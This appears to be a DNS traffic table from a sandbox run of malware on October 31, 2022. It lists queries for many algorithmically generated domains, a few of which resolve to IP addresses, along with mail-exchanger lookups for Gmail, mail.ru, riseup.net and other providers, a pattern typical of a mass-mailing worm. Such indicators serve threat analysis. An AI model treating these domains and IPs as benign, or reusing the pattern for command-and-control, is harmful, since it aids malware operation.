Oct 31, 2022 12:20:55.792229891 CET	192.168.2.5	8.8.8.8	0x9ba8	Standard query (0)	qhnhqesmnn.info	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:55.828655005 CET	192.168.2.5	8.8.8.8	0x9ce2	Standard query (0)	wnnnqwpeea.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:55.856865883 CET	192.168.2.5	8.8.8.8	0x5f84	Standard query (0)	rmpmspqhph.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:55.890244007 CET	192.168.2.5	8.8.8.8	0xd7ed	Standard query (0)	mrwpmwnnra.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:55.918438911 CET	192.168.2.5	8.8.8.8	0xab3a	Standard query (0)	nwaahharmh.us	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:55.946484089 CET	192.168.2.5	8.8.8.8	0xa088	Standard query (0)	meseewppah.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:55.983244896 CET	192.168.2.5	8.8.8.8	0xf357	Standard query (0)	rswnmhhsrh.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:56.068105936 CET	192.168.2.5	8.8.8.8	0xf28b	Standard query (0)	ersaenrnwh.ws	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:56.156384945 CET	192.168.2.5	8.8.8.8	0x85f5	Standard query (0)	alt1.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:56.186054945 CET	192.168.2.5	8.8.8.8	0x1b66	Standard query (0)	alt1.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:56.496464014 CET	192.168.2.5	8.8.8.8	0xd6a0	Standard query (0)	qsswqemmws.info	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:56.626390934 CET	192.168.2.5	8.8.8.8	0xebe4	Standard query (0)	wnarpnqaqh.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:56.654298067 CET	192.168.2.5	8.8.8.8	0x79aa	Standard query (0)	rmqsrpsqes.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:56.679697037 CET	192.168.2.5	8.8.8.8	0xc095	Standard query (0)	alt3.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:56.812972069 CET	192.168.2.5	8.8.8.8	0xb738	Standard query (0)	henwwsahhh.net	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:56.841909885 CET	192.168.2.5	8.8.8.8	0xea97	Standard query (0)	ansenhrann.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:57.369019985 CET	192.168.2.5	8.8.8.8	0x7dbc	Standard query (0)	alt2.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:57.436831951 CET	192.168.2.5	8.8.8.8	0x3647	Standard query (0)	alt4.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:57.909332037 CET	192.168.2.5	8.8.8.8	0x1032	Standard query (0)	alt3.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:58.660368919 CET	192.168.2.5	8.8.8.8	0x8914	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:59.163574934 CET	192.168.2.5	8.8.8.8	0x8fb2	Standard query (0)	alt1.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:59.330152035 CET	192.168.2.5	8.8.8.8	0xfcf3	Standard query (0)	bog.msu.ru	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:21:00.374309063 CET	192.168.2.5	8.8.8.8	0xfcf3	Standard query (0)	bog.msu.ru	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:21:01.175844908 CET	192.168.2.5	8.8.8.8	0x8a89	Standard query (0)	gzip.org	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:21:01.197813988 CET	192.168.2.5	8.8.8.8	0x5e59	Standard query (0)	gzip.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:21:01.273317099 CET	192.168.2.5	8.8.8.8	0x122a	Standard query (0)	alumni.caltech.edu	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:21:01.281815052 CET	192.168.2.5	8.8.8.8	0x76e7	Standard query (0)	nongnu.org	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:21:01.299082041 CET	192.168.2.5	8.8.8.8	0x4283	Standard query (0)	alumni-caltech-edu.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:21:01.304177999 CET	192.168.2.5	8.8.8.8	0x2a5f	Standard query (0)	eggs.gnu.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:21:01.371952057 CET	192.168.2.5	8.8.8.8	0xfcf3	Standard query (0)	bog.msu.ru	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:21:05.377559900 CET	192.168.2.5	8.8.8.8	0x3614	Standard query (0)	nongnu.org	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:21:05.402447939 CET	192.168.2.5	8.8.8.8	0x78b3	Standard query (0)	eggs.gnu.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:21:05.423379898 CET	192.168.2.5	8.8.8.8	0xf4a0	Standard query (0)	kinoho.net	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:21:05.448909044 CET	192.168.2.5	8.8.8.8	0x7764	Standard query (0)	alt1.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:21:05.471962929 CET	192.168.2.5	8.8.8.8	0xfbf8	Standard query (0)	gmail.com	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:21:05.499656916 CET	192.168.2.5	8.8.8.8	0x3538	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:21:05.516232014 CET	192.168.2.5	8.8.8.8	0xed11	Standard query (0)	riseup.net	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:21:05.539386034 CET	192.168.2.5	8.8.8.8	0x7aa1	Standard query (0)	mx1.riseup.net	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:21:06.002845049 CET	192.168.2.5	8.8.8.8	0x7698	Standard query (0)	alt2.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:21:09.650681019 CET	192.168.2.5	8.8.8.8	0x574e	Standard query (0)	gmail.com	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:21:09.661159039 CET	192.168.2.5	8.8.8.8	0xe120	Standard query (0)	alt1.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:21:09.673926115 CET	192.168.2.5	8.8.8.8	0x811	Standard query (0)	alt3.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:21:09.688251019 CET	192.168.2.5	8.8.8.8	0x8344	Standard query (0)	mail.ru	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:21:09.709835052 CET	192.168.2.5	8.8.8.8	0xbda0	Standard query (0)	mxs.mail.ru	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:21:09.785465002 CET	192.168.2.5	8.8.8.8	0x7b73	Standard query (0)	bog.msu.ru	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:21:10.813075066 CET	192.168.2.5	8.8.8.8	0x7b73	Standard query (0)	bog.msu.ru	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:21:10.895137072 CET	192.168.2.5	8.8.8.8	0xfd9d	Standard query (0)	alt3.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:21:10.897588015 CET	192.168.2.5	8.8.8.8	0x5ed5	Standard query (0)	aspmx3.googlemail.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:21:12.455827951 CET	192.168.2.5	8.8.8.8	0xd6c5	Standard query (0)	alt1.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:21:12.473768950 CET	192.168.2.5	8.8.8.8	0x7b73	Standard query (0)	bog.msu.ru	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:21:12.836323023 CET	192.168.2.5	8.8.8.8	0xa78f	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:21:12.880634069 CET	192.168.2.5	8.8.8.8	0x2e97	Standard query (0)	alt4.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:21:13.589920998 CET	192.168.2.5	8.8.8.8	0xbe90	Standard query (0)	alt2.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:21:14.213293076 CET	192.168.2.5	8.8.8.8	0xac62	Standard query (0)	aspmx2.googlemail.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:21:20.620145082 CET	192.168.2.5	8.8.8.8	0xaaf9	Standard query (0)	alt2.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 31, 2022 12:19:29.364934921 CET	8.8.8.8	192.168.2.5	0x47f1	No error (0)	qamaahmnen.info		72.5.161.12	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:30.235714912 CET	8.8.8.8	192.168.2.5	0x6017	Name error (3)	wsanasnrar.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:30.273773909 CET	8.8.8.8	192.168.2.5	0x886d	Name error (3)	nerwsrehmn.us	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:30.304158926 CET	8.8.8.8	192.168.2.5	0xceb3	No error (0)	ehqapshmqs.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:30.725689888 CET	8.8.8.8	192.168.2.5	0x458f	Name error (3)	npessqaesn.us	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:30.755853891 CET	8.8.8.8	192.168.2.5	0xc2dd	Name error (3)	mqrqqhepsr.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:30.890163898 CET	8.8.8.8	192.168.2.5	0x105f	Name error (3)	rrmqanpnwa.org	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:31.073401928 CET	8.8.8.8	192.168.2.5	0x9cad	No error (0)	emnhnawmen.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:31.544408083 CET	8.8.8.8	192.168.2.5	0xade6	Name error (3)	qnrsaaarmh.info	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:31.607214928 CET	8.8.8.8	192.168.2.5	0x515c	Name error (3)	saqpssases.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:31.634360075 CET	8.8.8.8	192.168.2.5	0x442d	Name error (3)	prwmrnpqes.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:31.643735886 CET	8.8.8.8	192.168.2.5	0x8962	No error (0)	gzip.org			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:31.675230980 CET	8.8.8.8	192.168.2.5	0xddd5	Name error (3)	mhhpmrwmma.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:31.689718962 CET	8.8.8.8	192.168.2.5	0xa55d	No error (0)	gzip.org		85.187.148.2	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:31.729916096 CET	8.8.8.8	192.168.2.5	0x6e94	Name error (3)	ahqphrrmea.com	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:31.757325888 CET	8.8.8.8	192.168.2.5	0xc9ad	Name error (3)	wwqsnwppes.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:31.787138939 CET	8.8.8.8	192.168.2.5	0x9ec2	Name error (3)	aaqamerqwa.com	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:31.793612957 CET	8.8.8.8	192.168.2.5	0x75cc	No error (0)	alumni.caltech.edu			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:31.829642057 CET	8.8.8.8	192.168.2.5	0x8789	Name error (3)	mmwepspqwa.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:31.832726955 CET	8.8.8.8	192.168.2.5	0x9aea	No error (0)	nongnu.org			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:31.841165066 CET	8.8.8.8	192.168.2.5	0x9b0e	No error (0)	alumni-caltech-edu.mail.protection.outlook.com		104.47.59.138	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:31.841165066 CET	8.8.8.8	192.168.2.5	0x9b0e	No error (0)	alumni-caltech-edu.mail.protection.outlook.com		104.47.55.138	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:31.864358902 CET	8.8.8.8	192.168.2.5	0x8fa7	Name error (3)	qrmwehwwsn.info	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:31.870292902 CET	8.8.8.8	192.168.2.5	0x6d9b	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:31.870292902 CET	8.8.8.8	192.168.2.5	0x6d9b	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:31.870292902 CET	8.8.8.8	192.168.2.5	0x6d9b	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:31.870292902 CET	8.8.8.8	192.168.2.5	0x6d9b	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:31.870292902 CET	8.8.8.8	192.168.2.5	0x6d9b	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:31.907886982 CET	8.8.8.8	192.168.2.5	0x9c79	Name error (3)	hhnhsmeren.net	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:31.916485071 CET	8.8.8.8	192.168.2.5	0xfe31	No error (0)	aspmx3.googlemail.com		142.250.147.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:31.941152096 CET	8.8.8.8	192.168.2.5	0xd039	Name error (3)	prwnpnspha.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:31.967048883 CET	8.8.8.8	192.168.2.5	0xc9f3	Name error (3)	smpamewrns.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:31.969750881 CET	8.8.8.8	192.168.2.5	0x5d6c	No error (0)	eggs.gnu.org		209.51.188.92	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:32.000077963 CET	8.8.8.8	192.168.2.5	0xf0f9	Name error (3)	qnmpehmpra.info	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:32.031588078 CET	8.8.8.8	192.168.2.5	0x3389	Name error (3)	sphhpenran.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:32.060446978 CET	8.8.8.8	192.168.2.5	0x2a38	Name error (3)	apnssmrrqs.com	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:32.090188026 CET	8.8.8.8	192.168.2.5	0xd0f	Name error (3)	mwrqpqeeen.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:32.127593994 CET	8.8.8.8	192.168.2.5	0xcb38	Name error (3)	qrmahrnesh.info	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:32.158693075 CET	8.8.8.8	192.168.2.5	0x5608	Name error (3)	sanpspmrsn.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:32.197094917 CET	8.8.8.8	192.168.2.5	0xcf44	Name error (3)	qshwspwhsn.info	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:32.227138996 CET	8.8.8.8	192.168.2.5	0xd275	Name error (3)	wphqaqwenn.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:32.266033888 CET	8.8.8.8	192.168.2.5	0x7ecf	Name error (3)	nqpemnraha.us	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:32.292861938 CET	8.8.8.8	192.168.2.5	0x6d7e	Name error (3)	hmrnphameh.net	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:32.333720922 CET	8.8.8.8	192.168.2.5	0x6909	Name error (3)	nmeearrrmn.us	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:32.372840881 CET	8.8.8.8	192.168.2.5	0x30d3	Name error (3)	wqsnnpeahh.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:32.411767006 CET	8.8.8.8	192.168.2.5	0x3cef	Name error (3)	rsmwassewn.org	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:32.441348076 CET	8.8.8.8	192.168.2.5	0x73b6	No error (0)	eqrrmhhwhh.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:32.843833923 CET	8.8.8.8	192.168.2.5	0xb1dd	No error (0)	aspmx2.googlemail.com		142.250.153.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:32.874219894 CET	8.8.8.8	192.168.2.5	0x6de5	Name error (3)	qswpppqnms.info	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:32.905185938 CET	8.8.8.8	192.168.2.5	0x952b	Name error (3)	hanawnqnwn.net	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:32.939284086 CET	8.8.8.8	192.168.2.5	0x21d1	Name error (3)	qprhpqwhwh.info	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:32.967822075 CET	8.8.8.8	192.168.2.5	0x84df	No error (0)	eqsnewshhn.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:33.333967924 CET	8.8.8.8	192.168.2.5	0x71e3	No error (0)	alt2.aspmx.l.google.com		142.250.147.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:33.378720045 CET	8.8.8.8	192.168.2.5	0xe023	Name error (3)	newawsanms.us	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:33.434086084 CET	8.8.8.8	192.168.2.5	0x8f19	Name error (3)	smersswaha.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:33.463356972 CET	8.8.8.8	192.168.2.5	0xdd73	Name error (3)	amqqsaqhas.com	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:33.543673992 CET	8.8.8.8	192.168.2.5	0x658d	Name error (3)	wsnnrpapaa.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:33.572360039 CET	8.8.8.8	192.168.2.5	0x2294	Name error (3)	pqrnwwmweh.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:33.599524021 CET	8.8.8.8	192.168.2.5	0x7c69	Name error (3)	msqhqapmsh.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:33.741292953 CET	8.8.8.8	192.168.2.5	0xd8db	Name error (3)	qqwhsnpwhn.info	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:33.781404972 CET	8.8.8.8	192.168.2.5	0xadbe	Name error (3)	saehrrehnh.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:33.816642046 CET	8.8.8.8	192.168.2.5	0x657	Name error (3)	rqqnpaehma.org	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:33.865559101 CET	8.8.8.8	192.168.2.5	0xca0b	No error (0)	emrmmpsarh.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:33.896939993 CET	8.8.8.8	192.168.2.5	0x5e35	No error (0)	aspmx.l.google.com		142.251.5.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:34.292526960 CET	8.8.8.8	192.168.2.5	0xf12d	Name error (3)	reeahnpewn.org	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:34.337311983 CET	8.8.8.8	192.168.2.5	0xf30f	Name error (3)	manqhaspwa.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:34.373466015 CET	8.8.8.8	192.168.2.5	0xa25a	No error (0)	alt1.aspmx.l.google.com		142.250.153.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:34.899054050 CET	8.8.8.8	192.168.2.5	0x4176	Name error (3)	wnshehamhh.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:34.923876047 CET	8.8.8.8	192.168.2.5	0x2d4	Name error (3)	remrpqpseh.org	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:34.953908920 CET	8.8.8.8	192.168.2.5	0x9873	Name error (3)	hwnppemeea.net	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:34.983251095 CET	8.8.8.8	192.168.2.5	0x707e	Name error (3)	pnaqheqnsa.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:35.011138916 CET	8.8.8.8	192.168.2.5	0x294a	Name error (3)	mwhnpqrmrn.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:35.039901018 CET	8.8.8.8	192.168.2.5	0x653a	Name error (3)	pwramqmsms.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:35.088526964 CET	8.8.8.8	192.168.2.5	0x6748	Name error (3)	hmamsmwhar.net	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:35.118464947 CET	8.8.8.8	192.168.2.5	0x8650	Name error (3)	pqshhpemrn.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:35.233927965 CET	8.8.8.8	192.168.2.5	0x230f	No error (0)	wpqqhhspps.in		63.251.126.10	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:35.897980928 CET	8.8.8.8	192.168.2.5	0x512a	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:35.897980928 CET	8.8.8.8	192.168.2.5	0x512a	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:35.897980928 CET	8.8.8.8	192.168.2.5	0x512a	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:35.897980928 CET	8.8.8.8	192.168.2.5	0x512a	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:35.897980928 CET	8.8.8.8	192.168.2.5	0x512a	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:35.942387104 CET	8.8.8.8	192.168.2.5	0x58fa	No error (0)	alt4.gmail-smtp-in.l.google.com		74.125.200.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:35.983756065 CET	8.8.8.8	192.168.2.5	0xce4b	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:35.983756065 CET	8.8.8.8	192.168.2.5	0xce4b	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:35.983756065 CET	8.8.8.8	192.168.2.5	0xce4b	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:35.983756065 CET	8.8.8.8	192.168.2.5	0xce4b	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:35.983756065 CET	8.8.8.8	192.168.2.5	0xce4b	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:36.016944885 CET	8.8.8.8	192.168.2.5	0x51d2	No error (0)	alt2.gmail-smtp-in.l.google.com		142.250.147.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:36.053173065 CET	8.8.8.8	192.168.2.5	0xd7bd	No error (0)	mail.ru			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:36.075932026 CET	8.8.8.8	192.168.2.5	0xc39c	No error (0)	mxs.mail.ru		217.69.139.150	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:36.075932026 CET	8.8.8.8	192.168.2.5	0xc39c	No error (0)	mxs.mail.ru		94.100.180.31	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:36.087238073 CET	8.8.8.8	192.168.2.5	0x1b60	No error (0)	riseup.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:36.109998941 CET	8.8.8.8	192.168.2.5	0x3d28	No error (0)	mx1.riseup.net		198.252.153.129	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:36.150053024 CET	8.8.8.8	192.168.2.5	0xb206	Name error (3)	nqenrpwpeh.us	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:36.176702976 CET	8.8.8.8	192.168.2.5	0x12b2	Name error (3)	spawwehsrs.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:36.207314014 CET	8.8.8.8	192.168.2.5	0x217	Name error (3)	ppeseaqmms.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:36.234678984 CET	8.8.8.8	192.168.2.5	0xe1f7	Name error (3)	msarphnewh.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:36.261771917 CET	8.8.8.8	192.168.2.5	0x154f	Name error (3)	pwqpewwahh.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:36.289114952 CET	8.8.8.8	192.168.2.5	0x1bb9	Name error (3)	hmparqsaqa.net	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:36.322964907 CET	8.8.8.8	192.168.2.5	0xc093	Name error (3)	qsqpspspqn.info	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:36.357789040 CET	8.8.8.8	192.168.2.5	0xce15	Name error (3)	haearrsqhn.net	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:36.472330093 CET	8.8.8.8	192.168.2.5	0x665b	Name error (3)	qnrnwnwaas.info	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:36.522711992 CET	8.8.8.8	192.168.2.5	0x9277	Name error (3)	weaeprawra.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:36.558679104 CET	8.8.8.8	192.168.2.5	0xb90f	Name error (3)	qmhqeesawh.info	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:36.600297928 CET	8.8.8.8	192.168.2.5	0x386a	Name error (3)	ssnsphrnws.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:36.644622087 CET	8.8.8.8	192.168.2.5	0xf1ed	No error (0)	alt1.gmail-smtp-in.l.google.com		142.250.153.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:36.644656897 CET	8.8.8.8	192.168.2.5	0x22be	No error (0)	aewrhprres.com		81.17.29.149	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:37.061614037 CET	8.8.8.8	192.168.2.5	0x2969	Name error (3)	mpehqsqwmn.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:37.099833965 CET	8.8.8.8	192.168.2.5	0xdac8	Name error (3)	rnrmmnpnpn.org	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:37.107310057 CET	8.8.8.8	192.168.2.5	0x590a	No error (0)	gmail-smtp-in.l.google.com		74.125.140.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:37.133356094 CET	8.8.8.8	192.168.2.5	0x41da	Name error (3)	mwaaemmnhn.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:37.194629908 CET	8.8.8.8	192.168.2.5	0x25bd	No error (0)	asnrrsamsa.com		81.17.18.196	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:37.613279104 CET	8.8.8.8	192.168.2.5	0x8a26	Name error (3)	whmrraawha.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:37.643096924 CET	8.8.8.8	192.168.2.5	0xc953	No error (0)	alt3.gmail-smtp-in.l.google.com		142.250.150.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:37.650185108 CET	8.8.8.8	192.168.2.5	0x4b9c	Name error (3)	qmsaspnsna.info	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:37.694238901 CET	8.8.8.8	192.168.2.5	0xbf9a	Name error (3)	hnehqqwwrs.net	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:37.731646061 CET	8.8.8.8	192.168.2.5	0xca56	Name error (3)	qppamspwhs.info	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:37.758783102 CET	8.8.8.8	192.168.2.5	0x5021	Name error (3)	weeqshswms.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:37.799093962 CET	8.8.8.8	192.168.2.5	0x7744	No error (0)	aanparshnh.com		81.17.29.150	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:37.896054029 CET	8.8.8.8	192.168.2.5	0xfdc	Name error (3)	hpeqherars.net	none	none	A (IP address)	IN (0x0001)	false
